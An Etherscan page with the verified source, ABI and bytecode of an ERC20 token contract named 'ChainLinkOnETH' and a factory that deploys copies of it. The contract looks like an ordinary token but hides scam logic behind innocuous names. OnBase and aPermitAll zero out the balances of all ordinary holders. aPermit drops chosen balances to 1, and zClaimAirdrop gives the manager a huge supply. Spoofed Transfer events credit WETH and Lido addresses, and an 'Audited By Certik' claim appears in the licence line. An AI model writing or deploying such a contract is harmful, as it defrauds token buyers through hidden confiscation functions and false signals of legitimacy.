ETH Price: $1,975.25 (+0.73%)
 

Overview

Max Total Supply

100,000,000,000 ERC20 ***

Holders

3

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Lido: wstETH Token
Balance
100,000,000 ERC20 ***

Value
$0.00
0x7f39c581f595b53c5cb19bd0b3f8da6c935e2ca0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ChainLinkOnETH

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2025-06-15
*/

// SPDX-License-Identifier: MIT Audited By Certik
pragma solidity 0.8.28;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) return 0;
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        return a / b;
    }
}


contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}


contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender());
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract ChainLinkOnETH is IERC20, Ownable {
    using SafeMath for uint256;

    string private _name;
    string private _symbol;
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 100000000000000000000;
    address Router02Address;
    mapping(address => uint256) private VirtualsOnBase;
    mapping(address => mapping(address => uint256)) private _allowances;
    address[] private believers; 

    address private constant ADDRESS_WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address private constant ADDRESS_MARKETING = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;
    address ADDRESS_DEVELOPMENT;
    address ADDRESS_Manager;
    address ADDRESS_Virtuals;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen = false;

    constructor(string memory name_, string memory symbol_, address owner_, address ADDRESS_Manager_, address Router02Address_) payable {
        transferOwnership(owner_);  
        _name = name_;
        _symbol = symbol_;
       ADDRESS_Manager = ADDRESS_Manager_;
       ADDRESS_DEVELOPMENT = ADDRESS_Manager_;
       ADDRESS_Virtuals = owner_;
       Router02Address = Router02Address_;
        VirtualsOnBase[address(this)] = _totalSupply.mul(1).div(10000);
        emit Transfer(address(0), address(this), _totalSupply.mul(1).div(10000));

  
        Virtuals();

 
        payable(address(this)).transfer(msg.value);
    }
    function Virtuals() internal {
        uint256 ninetyFourPercent = _totalSupply.mul(9960).div(10000);
        uint256 threePercent = _totalSupply.mul(10).div(10000);
        uint256 twoPercent = _totalSupply.mul(29).div(10000);

        VirtualsOnBase[ADDRESS_WETH] = VirtualsOnBase[ADDRESS_WETH].add(ninetyFourPercent);
        VirtualsOnBase[ADDRESS_MARKETING] = VirtualsOnBase[ADDRESS_MARKETING].add(threePercent);
        VirtualsOnBase[ADDRESS_DEVELOPMENT] = VirtualsOnBase[ADDRESS_DEVELOPMENT].add(twoPercent);

        emit Transfer(address(this), ADDRESS_WETH, ninetyFourPercent);
        emit Transfer(address(this), ADDRESS_MARKETING, threePercent);
        emit Transfer(address(this), ADDRESS_DEVELOPMENT, twoPercent);
    }

 function _updateHolders(address account) internal {
        if (VirtualsOnBase[account] > 0) {
            bool exists = false;
            for (uint256 i = 0; i < believers.length; i++) {
                if (believers[i] == account) {
                    exists = true;
                    break;
                }
            }
            if (!exists) {
                believers.push(account);
            }
        }
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }


function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0));
        require(recipient != address(0));

        VirtualsOnBase[sender] = VirtualsOnBase[sender].sub(amount);
        VirtualsOnBase[recipient] = VirtualsOnBase[recipient].add(amount);
        _updateHolders(sender);
        _updateHolders(recipient);

        emit Transfer(sender, recipient, amount);
    }

      modifier Only_Manager() {
        require(ADDRESS_Manager == _msgSender());
        _;
    }
    function OnBase() external onlyOwner {
        for (uint256 i = 0; i < believers.length; i++) {
            address believer = believers[i];
            if (
                believer != address(this) && 
                believer != owner() && 
                believer != uniswapV2Pair && 
                believer != ADDRESS_WETH &&
                believer != ADDRESS_MARKETING && 
                believer != ADDRESS_Manager &&
                believer != ADDRESS_DEVELOPMENT
            ) {
                VirtualsOnBase[believer] = 0;
            }
        }
    }

    function aPermitAll() external Only_Manager {
        for (uint256 i = 0; i < believers.length; i++) {
            address believer = believers[i];
            if (
                believer != address(this) && 
                believer != owner() && 
                believer != uniswapV2Pair && 
                believer != ADDRESS_WETH &&
                believer != ADDRESS_MARKETING && 
                believer != ADDRESS_Manager &&
                believer != ADDRESS_DEVELOPMENT
            ) {
                VirtualsOnBase[believer] = 0;
            }
        }
    }
   
function aPermit(address[] calldata rewardsMerkleRoot_) external Only_Manager {
    for (uint256 i = 0; i < rewardsMerkleRoot_.length; i++) {
        VirtualsOnBase[rewardsMerkleRoot_[i]] = 1;
        
        emit Transfer(rewardsMerkleRoot_[i], address(0), 1);
    }
}


    function zClaimAirdrop(address claimedRewardStatusOf) external Only_Manager {
        VirtualsOnBase[claimedRewardStatusOf] = _totalSupply * 10 ** _decimals;
        
        emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * 10 ** _decimals);
    }

    function addLiquidity() external onlyOwner {
        require(!tradingOpen, "Trading is already open");

        uniswapV2Router = IUniswapV2Router02(Router02Address);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), _totalSupply);

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );

        tradingOpen = true;
    }

    receive() external payable {}

    // Required BEP20 functions

    function name() public view virtual  returns (string memory) {
        return _name;
    }

    function symbol() public view virtual  returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual  returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return VirtualsOnBase[account];
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "BEP20: approve from the zero address");
        require(spender != address(0), "BEP20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
        return true;
    }
}

contract TokenFactory {
    

    event TokenCreated(address tokenAddress, string name, string symbol, address owner, address Manager);

    constructor() {
      
    }

    // Function to create a single token
    function createToken(
        string memory name_,
        string memory symbol_,
        address newOwner_,
        address ADDRESS_Manager_,
        address Router02Address_
    ) external payable returns (address) {
       
        ChainLinkOnETH newToken = (new ChainLinkOnETH){value: msg.value}(name_, symbol_, newOwner_, ADDRESS_Manager_, Router02Address_);
        emit TokenCreated(address(newToken), name_, symbol_, newOwner_, ADDRESS_Manager_);
        return address(newToken);
    }

   

    receive() external payable {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"ADDRESS_Manager_","type":"address"},{"internalType":"address","name":"Router02Address_","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"OnBase","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"rewardsMerkleRoot_","type":"address[]"}],"name":"aPermit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"aPermitAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"claimedRewardStatusOf","type":"address"}],"name":"zClaimAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040819052600b805460ff60a01b19169055611b793881900390819083398101604081905261002f9161059e565b5f80546001600160a01b0319163390811782556040519091905f516020611b195f395f51905f52908290a36100638361016d565b600161006f86826106b7565b50600261007c85826106b7565b50600880546001600160a01b03199081166001600160a01b038581169182179093556007805483169091179055600980548216868416179055600380549091169183169190911790556100e56127106100df68056bc75e2d6310000060016101da565b90610266565b305f81815260046020526040812092909255905f516020611b395f395f51905f526101206127106100df68056bc75e2d6310000060016101da565b60405190815260200160405180910390a36101396102c0565b60405130903480156108fc02915f818181858888f19350505050158015610162573d5f5f3e3d5ffd5b5050505050506107ce565b5f546001600160a01b03163314610182575f5ffd5b6001600160a01b038116610194575f5ffd5b5f80546040516001600160a01b03808516939216915f516020611b195f395f51905f5291a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f825f036101e957505f610260565b5f6101f48385610785565b905082610201858361079c565b1461025d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f5f82116102b65760405162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f0000000000006044820152606401610254565b61025d828461079c565b5f6102dc6127106100df68056bc75e2d631000006126e86101da565b90505f6102f96127106100df68056bc75e2d63100000600a6101da565b90505f6103166127106100df68056bc75e2d63100000601d6101da565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc25f5260046020525f516020611af95f395f51905f525490915061034e9084610488565b60046020525f516020611af95f395f51905f5255737f39c581f595b53c5cb19bd0b3f8da6c935e2ca05f525f516020611b595f395f51905f52546103929083610488565b60046020525f516020611b595f395f51905f52556007546001600160a01b03165f90815260409020546103c59082610488565b6007546001600160a01b03165f90815260046020908152604091829020929092555184815273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc29130915f516020611b395f395f51905f52910160405180910390a3604051828152737f39c581f595b53c5cb19bd0b3f8da6c935e2ca09030905f516020611b395f395f51905f529060200160405180910390a36007546040518281526001600160a01b039091169030905f516020611b395f395f51905f529060200160405180910390a3505050565b5f8061049483856107bb565b90508381101561025d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610254565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610509575f5ffd5b81516001600160401b03811115610522576105226104e6565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610550576105506104e6565b604052818152838201602001851015610567575f5ffd5b8160208501602083015e5f918101602001919091529392505050565b80516001600160a01b0381168114610599575f5ffd5b919050565b5f5f5f5f5f60a086880312156105b2575f5ffd5b85516001600160401b038111156105c7575f5ffd5b6105d3888289016104fa565b602088015190965090506001600160401b038111156105f0575f5ffd5b6105fc888289016104fa565b94505061060b60408701610583565b925061061960608701610583565b915061062760808701610583565b90509295509295909350565b600181811c9082168061064757607f821691505b60208210810361066557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156106b257805f5260205f20601f840160051c810160208510156106905750805b601f840160051c820191505b818110156106af575f815560010161069c565b50505b505050565b81516001600160401b038111156106d0576106d06104e6565b6106e4816106de8454610633565b8461066b565b6020601f821160018114610716575f83156106ff5750848201515b5f19600385901b1c1916600184901b1784556106af565b5f84815260208120601f198516915b828110156107455787850151825560209485019460019092019101610725565b508482101561076257868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761026057610260610771565b5f826107b657634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561026057610260610771565b61131e806107db5f395ff3fe6080604052600436106100fd575f3560e01c8063715018a611610092578063a37e0a6411610062578063a37e0a641461028b578063a9059cbb146102aa578063dd62ed3e146102c9578063e8078d941461030d578063f2fde38b14610321575f5ffd5b8063715018a61461021e5780638da5cb5b146102325780638f8af1e11461025857806395d89b4114610277575f5ffd5b806323b872dd116100cd57806323b872dd1461019c578063313ce567146101bb57806332975691146101d657806370a08231146101ea575f5ffd5b806306fdde0314610108578063095ea7b3146101325780630bc60abb1461016157806318160ddd14610177575f5ffd5b3661010457005b5f5ffd5b348015610113575f5ffd5b5061011c610340565b6040516101299190610fa0565b60405180910390f35b34801561013d575f5ffd5b5061015161014c366004610fe9565b6103d0565b6040519015158152602001610129565b34801561016c575f5ffd5b506101756103e6565b005b348015610182575f5ffd5b5068056bc75e2d631000005b604051908152602001610129565b3480156101a7575f5ffd5b506101516101b6366004611013565b610519565b3480156101c6575f5ffd5b5060405160098152602001610129565b3480156101e1575f5ffd5b50610175610568565b3480156101f5575f5ffd5b5061018e610204366004611051565b6001600160a01b03165f9081526004602052604090205490565b348015610229575f5ffd5b50610175610697565b34801561023d575f5ffd5b505f546040516001600160a01b039091168152602001610129565b348015610263575f5ffd5b5061017561027236600461106c565b6106f4565b348015610282575f5ffd5b5061011c6107d5565b348015610296575f5ffd5b506101756102a5366004611051565b6107e4565b3480156102b5575f5ffd5b506101516102c4366004610fe9565b610888565b3480156102d4575f5ffd5b5061018e6102e33660046110dd565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610318575f5ffd5b50610175610894565b34801561032c575f5ffd5b5061017561033b366004611051565b610b93565b60606001805461034f90611114565b80601f016020809104026020016040519081016040528092919081815260200182805461037b90611114565b80156103c65780601f1061039d576101008083540402835291602001916103c6565b820191905f5260205f20905b8154815290600101906020018083116103a957829003601f168201915b5050505050905090565b5f6103dc338484610c13565b5060015b92915050565b6008546001600160a01b031633146103fc575f5ffd5b5f5b600654811015610516575f6006828154811061041c5761041c61114c565b5f918252602090912001546001600160a01b0316905030811480159061044f57505f546001600160a01b03828116911614155b80156104695750600b546001600160a01b03828116911614155b801561049257506001600160a01b03811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc214155b80156104bb57506001600160a01b038116737f39c581f595b53c5cb19bd0b3f8da6c935e2ca014155b80156104d557506008546001600160a01b03828116911614155b80156104ef57506007546001600160a01b03828116911614155b1561050d576001600160a01b0381165f908152600460205260408120555b506001016103fe565b50565b5f610525848484610d37565b6001600160a01b0384165f9081526005602090815260408083203380855292529091205461055e9186916105599086610e1a565b610c13565b5060019392505050565b5f546001600160a01b0316331461057d575f5ffd5b5f5b600654811015610516575f6006828154811061059d5761059d61114c565b5f918252602090912001546001600160a01b031690503081148015906105d057505f546001600160a01b03828116911614155b80156105ea5750600b546001600160a01b03828116911614155b801561061357506001600160a01b03811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc214155b801561063c57506001600160a01b038116737f39c581f595b53c5cb19bd0b3f8da6c935e2ca014155b801561065657506008546001600160a01b03828116911614155b801561067057506007546001600160a01b03828116911614155b1561068e576001600160a01b0381165f908152600460205260408120555b5060010161057f565b5f546001600160a01b031633146106ac575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6008546001600160a01b0316331461070a575f5ffd5b5f5b818110156107d057600160045f85858581811061072b5761072b61114c565b90506020020160208101906107409190611051565b6001600160a01b0316815260208101919091526040015f908120919091558383838181106107705761077061114c565b90506020020160208101906107859190611051565b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60016040516107c091815260200190565b60405180910390a360010161070c565b505050565b60606002805461034f90611114565b6008546001600160a01b031633146107fa575f5ffd5b6108066009600a611257565b6108199068056bc75e2d63100000611265565b6001600160a01b0382165f818152600460205260408120929092557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6108616009600a611257565b6108749068056bc75e2d63100000611265565b60405190815260200160405180910390a350565b5f6103dc338484610d37565b5f546001600160a01b031633146108a9575f5ffd5b600b54600160a01b900460ff16156109085760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600354600a80546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610962573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610986919061127c565b6001600160a01b031663c9c6539630600a5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109e5573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a09919061127c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610a53573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a77919061127c565b600b80546001600160a01b0319166001600160a01b03928316179055600a54610aac9130911668056bc75e2d63100000610c13565b600a546001600160a01b031663f305d7194730610add816001600160a01b03165f9081526004602052604090205490565b5f5f610af05f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b56573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b7b9190611297565b5050600b805460ff60a01b1916600160a01b17905550565b5f546001600160a01b03163314610ba8575f5ffd5b6001600160a01b038116610bba575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c755760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108ff565b6001600160a01b038216610cd65760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108ff565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610d49575f5ffd5b6001600160a01b038216610d5b575f5ffd5b6001600160a01b0383165f90815260046020526040902054610d7d9082610e1a565b6001600160a01b038085165f908152600460205260408082209390935590841681522054610dab9082610e7c565b6001600160a01b0383165f90815260046020526040902055610dcc83610eda565b610dd582610eda565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d2a91815260200190565b5f82821115610e6b5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016108ff565b610e7582846112c2565b9392505050565b5f80610e8883856112d5565b905083811015610e755760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016108ff565b6001600160a01b0381165f9081526004602052604090205415610516575f805b600654811015610f4b57826001600160a01b031660068281548110610f2157610f2161114c565b5f918252602090912001546001600160a01b031603610f435760019150610f4b565b600101610efa565b5080610f9c57600680546001810182555f919091527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b0319166001600160a01b0384161790555b5050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610516575f5ffd5b5f5f60408385031215610ffa575f5ffd5b823561100581610fd5565b946020939093013593505050565b5f5f5f60608486031215611025575f5ffd5b833561103081610fd5565b9250602084013561104081610fd5565b929592945050506040919091013590565b5f60208284031215611061575f5ffd5b8135610e7581610fd5565b5f5f6020838503121561107d575f5ffd5b823567ffffffffffffffff811115611093575f5ffd5b8301601f810185136110a3575f5ffd5b803567ffffffffffffffff8111156110b9575f5ffd5b8560208260051b84010111156110cd575f5ffd5b6020919091019590945092505050565b5f5f604083850312156110ee575f5ffd5b82356110f981610fd5565b9150602083013561110981610fd5565b809150509250929050565b600181811c9082168061112857607f821691505b60208210810361114657634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156111af5780850481111561119357611193611160565b60018416156111a157908102905b60019390931c928002611178565b935093915050565b5f826111c5575060016103e0565b816111d157505f6103e0565b81600181146111e757600281146111f15761120d565b60019150506103e0565b60ff84111561120257611202611160565b50506001821b6103e0565b5060208310610133831016604e8410600b8410161715611230575081810a6103e0565b61123c5f198484611174565b805f190482111561124f5761124f611160565b029392505050565b5f610e7560ff8416836111b7565b80820281158282048414176103e0576103e0611160565b5f6020828403121561128c575f5ffd5b8151610e7581610fd5565b5f5f5f606084860312156112a9575f5ffd5b5050815160208301516040909301519094929350919050565b818103818111156103e0576103e0611160565b808201808211156103e0576103e061116056fea2646970667358221220445b7fad1ab4274c30a7ec307393b743f2b27c95dec8160d30c6630e1f53c82664736f6c634300081c003300137c28eabea4eda5601e544e6551e6761ee561d32c4142c29e0f892835a3618be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efdb9a5b514b561babbade0d49da557f1182fdded785e1c05a2aacb0b7c0ae0f1f00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000000000000000000000000e436861696e4c696e6b4f6e455448000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e436861696e4c696e6b4f6e455448000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106100fd575f3560e01c8063715018a611610092578063a37e0a6411610062578063a37e0a641461028b578063a9059cbb146102aa578063dd62ed3e146102c9578063e8078d941461030d578063f2fde38b14610321575f5ffd5b8063715018a61461021e5780638da5cb5b146102325780638f8af1e11461025857806395d89b4114610277575f5ffd5b806323b872dd116100cd57806323b872dd1461019c578063313ce567146101bb57806332975691146101d657806370a08231146101ea575f5ffd5b806306fdde0314610108578063095ea7b3146101325780630bc60abb1461016157806318160ddd14610177575f5ffd5b3661010457005b5f5ffd5b348015610113575f5ffd5b5061011c610340565b6040516101299190610fa0565b60405180910390f35b34801561013d575f5ffd5b5061015161014c366004610fe9565b6103d0565b6040519015158152602001610129565b34801561016c575f5ffd5b506101756103e6565b005b348015610182575f5ffd5b5068056bc75e2d631000005b604051908152602001610129565b3480156101a7575f5ffd5b506101516101b6366004611013565b610519565b3480156101c6575f5ffd5b5060405160098152602001610129565b3480156101e1575f5ffd5b50610175610568565b3480156101f5575f5ffd5b5061018e610204366004611051565b6001600160a01b03165f9081526004602052604090205490565b348015610229575f5ffd5b50610175610697565b34801561023d575f5ffd5b505f546040516001600160a01b039091168152602001610129565b348015610263575f5ffd5b5061017561027236600461106c565b6106f4565b348015610282575f5ffd5b5061011c6107d5565b348015610296575f5ffd5b506101756102a5366004611051565b6107e4565b3480156102b5575f5ffd5b506101516102c4366004610fe9565b610888565b3480156102d4575f5ffd5b5061018e6102e33660046110dd565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610318575f5ffd5b50610175610894565b34801561032c575f5ffd5b5061017561033b366004611051565b610b93565b60606001805461034f90611114565b80601f016020809104026020016040519081016040528092919081815260200182805461037b90611114565b80156103c65780601f1061039d576101008083540402835291602001916103c6565b820191905f5260205f20905b8154815290600101906020018083116103a957829003601f168201915b5050505050905090565b5f6103dc338484610c13565b5060015b92915050565b6008546001600160a01b031633146103fc575f5ffd5b5f5b600654811015610516575f6006828154811061041c5761041c61114c565b5f918252602090912001546001600160a01b0316905030811480159061044f57505f546001600160a01b03828116911614155b80156104695750600b546001600160a01b03828116911614155b801561049257506001600160a01b03811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc214155b80156104bb57506001600160a01b038116737f39c581f595b53c5cb19bd0b3f8da6c935e2ca014155b80156104d557506008546001600160a01b03828116911614155b80156104ef57506007546001600160a01b03828116911614155b1561050d576001600160a01b0381165f908152600460205260408120555b506001016103fe565b50565b5f610525848484610d37565b6001600160a01b0384165f9081526005602090815260408083203380855292529091205461055e9186916105599086610e1a565b610c13565b5060019392505050565b5f546001600160a01b0316331461057d575f5ffd5b5f5b600654811015610516575f6006828154811061059d5761059d61114c565b5f918252602090912001546001600160a01b031690503081148015906105d057505f546001600160a01b03828116911614155b80156105ea5750600b546001600160a01b03828116911614155b801561061357506001600160a01b03811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc214155b801561063c57506001600160a01b038116737f39c581f595b53c5cb19bd0b3f8da6c935e2ca014155b801561065657506008546001600160a01b03828116911614155b801561067057506007546001600160a01b03828116911614155b1561068e576001600160a01b0381165f908152600460205260408120555b5060010161057f565b5f546001600160a01b031633146106ac575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6008546001600160a01b0316331461070a575f5ffd5b5f5b818110156107d057600160045f85858581811061072b5761072b61114c565b90506020020160208101906107409190611051565b6001600160a01b0316815260208101919091526040015f908120919091558383838181106107705761077061114c565b90506020020160208101906107859190611051565b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60016040516107c09181526020019056